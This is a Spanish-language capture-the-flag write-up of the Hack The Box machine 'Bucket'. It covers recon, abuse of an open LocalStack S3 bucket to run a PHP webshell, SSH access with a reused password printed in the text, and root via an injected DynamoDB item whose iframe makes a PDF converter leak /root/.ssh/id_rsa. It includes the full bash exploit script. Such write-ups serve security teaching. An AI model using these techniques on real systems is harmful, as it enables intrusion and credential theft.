> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/writes-ups/hack-the-box/medium/bucket.md).

# Bucket

## Información de la máquina

<figure><img src="/files/6cTUlcQFaUv7d4TlRVAf" alt=""><figcaption></figcaption></figure>

Bucket es una máquina Linux de dificultad media que incluye [LocalStack](https://github.com/localstack/localstack), que simula un entorno local de AWS. La aplicación web se ejecuta en un servidor Apache y los archivos se alojan en un bucket S3 abierto, lo que nos permite eliminar un archivo PHP malicioso y, por lo tanto, obtener una shell inversa. En el directorio personal del usuario, encontramos un proyecto inacabado que utiliza DynamoDB como base de datos. Al enumerar DynamoDB, se revelan credenciales que pueden reutilizarse para realizar operaciones de migración lateral. Se ha descubierto que una aplicación interna se ejecuta como root, lo cual se explota para obtener acceso root.

***

## Reconocimiento

La fase de **reconocimiento** es el primer paso a la hora de resolver una máquina. Su objetivo es recopilar la mayor cantidad de información posible sobre el sistema objetivo, permitiendo entender su estructura, tecnología y posibles vectores de ataque.&#x20;

Empezaremos haciendo un ping a la máquina víctima para ver si está encendida y ante que nos enfrentamos.

<figure><img src="/files/KNqEOR0GU0WCDAebgh2A" alt=""><figcaption></figcaption></figure>

Si recibimos respuesta, significa que la máquina está en línea. Además, observamos que el **TTL** (Time To Live) es **63**, lo que indica que es un sistema **Linux** (normalmente, los sistemas Windows tienen un TTL de 127).&#x20;

{% hint style="success" %}
Esto sucede porque Hack The Box virtualiza las máquinas, lo que a menudo reduce el TTL en un punto respecto al valor estándar.

En entornos reales tendrían los siguientes valores:

TTL Linux **→** 64

TTL Windows **→** 128
{% endhint %}

Empezaremos haciendo un primer reconocimiento para ver los puertos abiertos en el sistema.

<figure><img src="/files/t358YnveFihNI6Cxu2PP" alt=""><figcaption></figcaption></figure>

**1. `-p-` → Escaneo de todos los puertos (1-65535)**

Por defecto, `nmap` solo escanea los **1000 puertos más comunes**.\
Con `-p-`, forzamos a que escanee **los 65,535 puertos** de la máquina objetivo, lo que puede ser útil para encontrar servicios que corren en puertos poco convencionales.

**2. `--open` → Filtrar solo los puertos abiertos**

Cuando escaneamos un sistema, muchos puertos pueden estar cerrados o filtrados por un firewall.\
Este parámetro hace que `nmap` **solo muestre los puertos abiertos**, reduciendo el ruido y facilitando el análisis.

**3. `-sS` → Stealth Scan (Escaneo Sigiloso con SYN)**

Es conocido como **"TCP SYN Scan"**, y funciona de la siguiente manera:

* `nmap` envía un paquete **SYN** (solicitud de conexión).
* &#x20;Si el puerto está abierto, el servidor responde con **SYN-ACK**.
* En lugar de completar la conexión con un **ACK**, `nmap` responde con un **RST (Reset)**, interrumpiendo la comunicación.

**4. `--min-rate 5000` → Velocidad mínima de paquetes (5000 por segundo)**

Por defecto, `nmap` ajusta dinámicamente la velocidad de los paquetes según la respuesta de la red.\
Con `--min-rate 5000`, obligamos a `nmap` a **no enviar menos de 5000 paquetes por segundo**, acelerando el escaneo.

**5. `-n` → Deshabilitar resolución DNS**

Normalmente, `nmap` intenta resolver el nombre de dominio de las IPs escaneadas (DNS lookup).\
Con `-n`, evitamos esta resolución de nombres, lo que **acelera el escaneo** y evita que los servidores DNS registren nuestra actividad.

**6. `-Pn` → Omitir detección de host (Host Discovery Off)**

Por defecto, `nmap` envía paquetes ICMP (ping) para ver si un host está activo antes de escanearlo.\
Si un firewall bloquea los pings, `nmap` puede marcarlo como "host down" y no escanearlo.

**7. `-oG`** **→ Exportar el contenido en formato grepeable**

Todo el resultado del escaneo lo exportaremos en un archivo llamado **`puertos` .**

El escaneo revela que los puertos **22 (SSH)** y 80 **(HTTP)** están abiertos. Ahora realizamos un escaneo más detallado:

<figure><img src="/files/XSxmiDTuI04ybBTPJLci" alt=""><figcaption></figcaption></figure>

**1. `-p22,80` → Escaneo de puertos específicos**

Con `-p22,80`, le indicamos que **solo** escanee los puertos **22 (SSH)** y 80 (HTTP).

**2. `-sCV` → Escaneo de versiones y scripts básicos**

Este parámetro en realidad es **dos combinaciones en una**:

* **`-sC`** → Activa los **NSE scripts por defecto** en `nmap` (similar a usar `--script=default`).\
  🔹 Ejecuta scripts básicos para enumerar información del servicio detectado, como banners, versiones, etc.
* **`-sV`** → Realiza **fingerprinting de versiones**, intentando identificar la versión exacta del software en cada puerto abierto.

**3. `-oN` → Guardar el resultado en formato Normal**

Por defecto, `nmap` muestra los resultados en pantalla, pero con **`-oN targeted`**, guardamos el resultado en un archivo en **formato legible para humanos**.

Cambiaremos el /etc/host ya que se aplica una redirección al dominio `bucket.htb` .

<figure><img src="/files/P6j5JHK8Hmi3ceU0w3G9" alt=""><figcaption></figcaption></figure>

## Enumeración web

Antes de visitar la web, useremos la herramienta `whatweb`, para saber que tecnologías usa esta página, u otra información relevante.

<figure><img src="/files/IIUum4uq9XERvS4DRNNg" alt=""><figcaption></figcaption></figure>

Vemos que se aplica el redireccionamiento a`http://bucket.htb` y tambien vemos que está corriendo apache.

<figure><img src="/files/Cf0jjtFdBBFrPFvw4brj" alt=""><figcaption></figcaption></figure>

Esta es la página web. No vemos gran cosa por lo que tendremos que enumerar rutas o subdominios existentes.

Realizamos un escaneo básico para detectar rutas disponibles en el dominio principal, pero no encontramos resultados relevantes.

<figure><img src="/files/L43DtUn9SW3WtC91JhVG" alt=""><figcaption></figcaption></figure>

Llevamos a cabo una enumeración de subdominios y descubrimos tres subdominios activos que podrían ser de interés para el análisis.

<figure><img src="/files/QIGJn1X11VwyzJKxWtdI" alt=""><figcaption></figcaption></figure>

Modificamos el archivo `/etc/hosts` para apuntar los subdominios recién encontrados hacia la IP de la máquina objetivo. De esta forma podremos acceder a ellos correctamente desde el navegador y continuar con su análisis.

<figure><img src="/files/SLeqSDvfAuXPx2cmRetg" alt=""><figcaption></figcaption></figure>

Observamos que dos de los subdominios redirigen automáticamente al dominio principal. Sin embargo, el primero muestra una página distinta, lo cual nos llama la atención y merece ser investigado.

<figure><img src="/files/UjO82R4EdqvbMcykXTBo" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
La página que hemos encontrado parece estar utilizando Amazon S3, un servicio de AWS que permite almacenar y recuperar archivos (objetos) en la nube. Esto podría ser útil para acceder a archivos sensibles o mal configurados
{% endhint %}

Realizamos un escaneo de directorios en este subdominio y descubrimos dos rutas interesantes: `/health` y `/shell`, que podrían revelarnos más información sobre el sistema.

<figure><img src="/files/G8a3yIhEmYb3dLQ2cURh" alt=""><figcaption></figcaption></figure>

Al acceder a `/shell`, somos redirigidos a una ruta que utiliza el puerto 4546. Por ahora no investigaremos esta redirección, pero la tomaremos en cuenta para más adelante.

<figure><img src="/files/Y0S1DcXCKhBOqrQxAeoT" alt=""><figcaption></figcaption></figure>

## AWS Eumeration

Al acceder a `/health`, descubrimos que se está ejecutando un servicio de **DynamoDB**, una base de datos NoSQL proporcionada por AWS. Como ya sabemos que se está utilizando AWS, podemos intentar interactuar con este servicio usando la AWS CLI.

<figure><img src="/files/iKpHLSG26kuAVdx87n9S" alt=""><figcaption></figcaption></figure>

Para poder interactuar con los servicios de AWS, necesitaremos tener configurada la herramienta de línea de comandos de AWS (AWS CLI).

<figure><img src="/files/gfVF18FXMlbLCjFYtuaU" alt=""><figcaption></figcaption></figure>

Este comando nos permite introducir nuestras credenciales, región y formato de salida para poder utilizar la AWS CLI.

```bash
aws configure
```

Una vez configurada la CLI, procedemos a enumerar las tablas existentes en DynamoDB. Logramos identificar que hay una tabla llamada `users`.

<figure><img src="/files/b0M9ETmp5cJfjwIzrzfC" alt=""><figcaption></figcaption></figure>

Accedemos al contenido de la tabla `users` para ver qué datos almacena y si pueden ser de utilidad para el acceso al sistema.

<figure><img src="/files/Rub8ysKQ7mBTVwJKJImd" alt=""><figcaption></figcaption></figure>

Los registros en la tabla parecen ser credenciales, pero al intentar usarlas para iniciar sesión por SSH, no obtenemos acceso. Esto indica que tendremos que seguir investigando otros vectores.

<figure><img src="/files/eKsWPcZgIY3aNWjl6hXx" alt=""><figcaption></figcaption></figure>

Utilizando la AWS CLI, conseguimos listar los archivos almacenados en el bucket S3 que se está utilizando para alojar parte del sitio web.

<figure><img src="/files/eH4puyGfVejy6e0sKB60" alt=""><figcaption></figcaption></figure>

Entre los archivos encontrados están las imágenes que se muestran en el sitio principal, lo que confirma que este bucket está sirviendo contenido del sitio web.

Como el bucket parece estar conectado directamente al sitio web, podemos intentar subir archivos al mismo. Si Apache está configurado para procesar scripts PHP (aunque no veamos ninguno visible), podríamos subir un script PHP y ejecutarlo para obtener información del sistema o incluso una shell.

Creamos una página básica de PHP para obtener información del entorno (`phpinfo()`) y la guardamos en nuestro directorio local.

<figure><img src="/files/z7CUKjV4JZ80HjmyxIDV" alt=""><figcaption></figcaption></figure>

Usamos el comando `aws s3 cp` para subir nuestro archivo PHP al bucket S3.

<figure><img src="/files/HAfNVgvkP5STDqfpgWpI" alt=""><figcaption></figcaption></figure>

Una vez subido el archivo, accedemos a él desde el navegador y vemos que efectivamente se ejecuta, lo cual confirma que podemos subir y ejecutar scripts PHP en el servidor.

<figure><img src="/files/N4z7KmCdaGa2RpjWayTE" alt=""><figcaption></figcaption></figure>

Esto abre la puerta a subir archivos PHP maliciosos, como una webshell, lo que nos permitiría controlar el servidor desde el navegador.

## PoC RCE via upload file AWS Server - (Failed)

Generamos un archivo PHP llamado `cmd.php`, cuyo propósito es permitir la ejecución de comandos del sistema a través de una petición web. Este archivo acepta un parámetro, como `?cmd=`, que se usará para ejecutar comandos en el servidor.

<figure><img src="/files/GiVZaIVhrlLPmn6mp5Dz" alt=""><figcaption></figcaption></figure>

Utilizamos la AWS CLI para subir el archivo `cmd.php` al bucket S3, aprovechando que el contenido del bucket se refleja en el servidor web.

<figure><img src="/files/9XaN5Yi83eOOmJEy24RZ" alt=""><figcaption></figcaption></figure>

Al acceder a la URL del archivo desde el navegador, comprobamos que funciona correctamente. Podemos ejecutar comandos en el servidor directamente desde el navegador, lo cual nos da control remoto del sistema.

<figure><img src="/files/TsLaW3hMjpswKYT9m3QT" alt=""><figcaption></figcaption></figure>

Intentamos establecer una reverse shell, pero notamos que los archivos en el bucket son eliminados automáticamente tras un corto período de tiempo. Esto limita nuestra ventana de acción, así que decidimos utilizar el acceso por comandos para enumerar el sistema en busca de usuarios locales.

## Acceso inicial reutilizando credenciales

Consultamos el archivo `/etc/passwd` y encontramos un usuario del sistema llamado `roy`, lo cual podría ser útil para intentar un acceso más persistente mediante SSH.

<figure><img src="/files/aEaRwCZgtgLjaCVAFZHM" alt=""><figcaption></figcaption></figure>

Recordamos que previamente obtuvimos posibles credenciales desde la tabla `users` de DynamoDB. Ahora vamos a probar esas contraseñas con el usuario `roy` a través de SSH, para ver si hay reutilización de contraseñas.

<figure><img src="/files/RwrVRFftqlWunTkiAWAC" alt=""><figcaption></figcaption></figure>

Probamos con la contraseña `n2vM-<_K_Q:.Aa2` y logramos acceder por SSH como el usuario `roy`. Esto confirma que hay reutilización de credenciales en el sistema. Una vez dentro, ya tenemos acceso a la primera flag de la máquina.

<figure><img src="/files/nYyyH3N7Hn5mkheGpApU" alt=""><figcaption></figcaption></figure>

## Acceso root vía inyección en DynamoDB y ejecución remota de conversión a PDF

Enumerando el sistema, detectamos que el puerto 8000 está abierto. Esto sugiere que podría estar ejecutándose una aplicación web interna no expuesta al exterior.

<figure><img src="/files/rfaYgbGvXy1lFEdO6iDz" alt=""><figcaption></figcaption></figure>

Intentamos acceder al servicio mediante un túnel SSH (forwarding) redirigiendo el puerto 8000 a nuestro `localhost`. Sin embargo, al abrirlo en el navegador, únicamente vemos que está bajo construcción.

<figure><img src="/files/PpApJy2c00o4OZ3BIAjx" alt=""><figcaption></figcaption></figure>

Explorando el sistema con el usuario `roy`, encontramos una aplicación en desarrollo llamada `bucket-app`, la cual parece estar relacionada con el servicio que corre en el puerto 8000.

<figure><img src="/files/QRG5IHF6XEnPe6rSOIos" alt=""><figcaption></figcaption></figure>

Dentro del directorio del proyecto, abrimos el archivo `index.php` y observamos que al comienzo del código hay información relevante.

```php
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
	if($_POST["action"]==="get_alerts") {
		date_default_timezone_set('America/New_York');
		$client = new DynamoDbClient([
			'profile' => 'default',
			'region'  => 'us-east-1',
			'version' => 'latest',
			'endpoint' => 'http://localhost:4566'
		]);
		$iterator = $client->getIterator('Scan', array(
			'TableName' => 'alerts',
			'FilterExpression' => "title = :title",
			'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
		));
		foreach ($iterator as $item) {
			$name=rand(1,10000).'.html';
			file_put_contents('files/'.$name,$item["data"]);
		}
		passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
	}
}
else
{
?>
```

Cuando se recibe una solicitud POST con el parámetro `action` igual a `"get_alerts"`, el sistema consulta la base de datos DynamoDB en busca de alertas cuyo título contenga la palabra "Ransomware". Por cada alerta encontrada, se genera un nombre de archivo HTML aleatorio y se escribe en él el contenido de la columna `data`, que suele estar en formato HTML.

Una vez creado el archivo HTML temporal, se utiliza la herramienta Java `pd4ml.jar` para convertir ese archivo en un documento PDF. Así, cada alerta relacionada con ransomware se transforma automáticamente en un archivo PDF a partir del contenido HTML original almacenado en la base de datos.

{% embed url="<https://docs.aws.amazon.com/cli/latest/reference/dynamodb/create-table.html>" %}

Todo este proceso lo automatizaremos con un script en bash:

```bash
#!/bin/bash
aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,K
eyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://s3.bucket.htb

sleep 0.5

aws dynamodb list-tables --endpoint-url http://s3.bucket.htb
aws dynamodb put-item --table-name alerts \
   --item '{
       "title": {"S": "Ransomware"}, 
       "data": {"S": "<html><head></head><body><iframe src='/root/.ssh/id_rsa'></iframe></body></html>"}
     }' \
   --return-consumed-capacity TOTAL \
   --endpoint-url http://s3.bucket.htb
   
sleep 0.5

aws dynamodb scan --table-name alerts --endpoint-url http://s3.bucket.htb
curl -X POST -d "action=get_alerts" http://127.0.0.1:8000
curl http://127.0.0.1:8000/files/result.pdf -o ./result.pdf
```

* **Se crea una tabla llamada `alerts`** en una instancia personalizada de DynamoDB, especificando dos atributos: `title` como clave primaria y `data` como clave de rango.
* **Se espera medio segundo** para asegurarse de que la operación de creación de la tabla se complete antes de continuar.
* **Se listan todas las tablas** disponibles en el endpoint, con el objetivo de verificar que la tabla `alerts` ha sido creada correctamente.
* **Se inserta un nuevo ítem en la tabla `alerts`**, que contiene un título con la palabra "Ransomware" y un contenido HTML que incluye una etiqueta `<iframe>` apuntando al archivo `/root/.ssh/id_rsa`.&#x20;
* **Se espera nuevamente medio segundo** para garantizar que el ítem haya sido correctamente almacenado en la tabla.
* **Se realiza un escaneo de la tabla `alerts`**, obteniendo todos los elementos almacenados, lo cual permite confirmar que el ítem malicioso fue efectivamente añadido.
* **Se envía una solicitud POST al servidor web local**, solicitando que ejecute la acción `get_alerts`.&#x20;
* **Finalmente, se descarga el archivo PDF generado** desde el servidor al directorio de trabajo local, lo que completa el proceso de conversión y extracción del contenido malicioso en formato PDF.

Lanzamos el script `get_root.sh` .

Una vez finalizado el script, abrimos con `xpdf` el archivo generado. Dentro de él encontramos la clave privada correspondiente al usuario root, lo cual nos permitirá acceder directamente como administrador del sistema.

<figure><img src="/files/XmjnLOSVBZsflg6IEtbp" alt=""><figcaption></figcaption></figure>

Extraemos la clave privada y la guardamos en un nuevo archivo local, por ejemplo llamado `id_rsa`, para poder utilizarla posteriormente en la conexión SSH.

<figure><img src="/files/lVuHpSBFEE5dItHzm5l3" alt=""><figcaption></figcaption></figure>

Para que el sistema permita usar esta clave privada con SSH, le asignamos los permisos correctos: sólo lectura y escritura para el propietario. Esto es un requisito de seguridad estándar.

```bash
chmod 600 id_rsa
```

Usamos la clave privada guardada para conectarnos al sistema remoto directamente como el usuario `root`, sin necesidad de contraseña.

<figure><img src="/files/WfNw9dTlxQvKmpE26JLC" alt=""><figcaption></figcaption></figure>

Una vez dentro como root, ya contamos con privilegios administrativos completos y podemos acceder a la flag final de la máquina, completando así el objetivo.

<figure><img src="/files/JeR2tlowF2lvYtyYTJTL" alt=""><figcaption></figcaption></figure>

***

## Conclusión

La máquina *Bucket* demuestra cómo una configuración insegura en entornos simulados de AWS, como LocalStack, junto con la exposición de servicios y archivos sensibles, puede permitir comprometer completamente un sistema. A través de la explotación de un bucket S3 abierto, el uso indebido de credenciales encontradas en DynamoDB y la explotación de una aplicación con privilegios elevados, es posible obtener acceso root.
